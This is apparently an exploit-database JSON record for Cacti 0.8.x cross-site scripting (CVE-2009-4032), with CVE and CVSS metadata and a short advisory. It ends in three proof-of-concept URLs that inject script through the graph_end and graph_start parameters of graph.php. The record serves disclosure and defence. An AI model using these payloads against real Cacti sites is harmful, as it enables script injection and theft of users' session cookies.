{"exploit":{"id":"EDB-33374","name":"Cacti 0.8.x - 'graph.php' Multiple Cross-Site Scripting (XSS)","description":"Cacti 0.8.x - 'graph.php' Multiple Cross-Site Scripting (XSS)","cves":["CVE-2009-4032"],"author":"Moritz Naumann","published":"2009-11-21","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/33374","path":"exploits/php/webapps/33374.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-33374.txt","vulnerabilities":[{"id":"CVE-2009-4032","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple cross-site scripting (XSS) vulnerabilities in Cacti 0.8.7e allow remote attackers to inject arbitrary web script or HTML via vectors related to (1) graph.php, (2) include/top_graph_header.php, (3) lib/html_form.php, and (4) lib/timespan_settings.php, as demonstrated by the (a) graph_end or (b) graph_start parameters to graph.php; (c) the date1 parameter in a tree action to graph_view.php; and the (d) page_refresh and (e) default_dual_pane_width parameters to graph_settings.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4032","cvss":{"version":"2.0","baseScore":4.3,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4032"},"updatedAt":"2024-08-07T06:45:50.905Z","retrievedAt":"2026-11-27T11:07:40.643Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-33374.png?v=2","url":"https://exploitbin.com/exploits/EDB-33374","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-33374/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-33374/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"source: https://web.archive.org/web/2009/https://www.securityfocus.com/bid/37109/info\n\nCacti is prone to multiple cross-site-scripting and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.\n\nAttacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.\n\nVersions prior to Cacti 0.8.7g are vulnerable.\n\n----------------------------------------\n\n\nhttp://www.example.com/graph.php?action=zoom&local_graph_id=1&graph_end=1%27%20style=visibility:hidden%3E%3Cscript%3Ealert(1)%3C/script%3E%3Cx%20y=%27\nhttp://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E\nhttp://www.example.com/graph.php?action=properties&local_graph_id=201&rra_id=0&view_type=tree&graph_start=%3C/pre%3E%3Cscript%3Ealert(4)%3C/script%3E%3Cpre%3E","sha256":"df6dc0d0baed1fe18cc1584b46dbbb0ba41fc2f57c93af90b0c51c7a6eff8ec7","bytes":1096,"fetchedAt":"2026-11-27T11:07:38.921Z","encoding":"utf-8 (display only; download retains original bytes)"}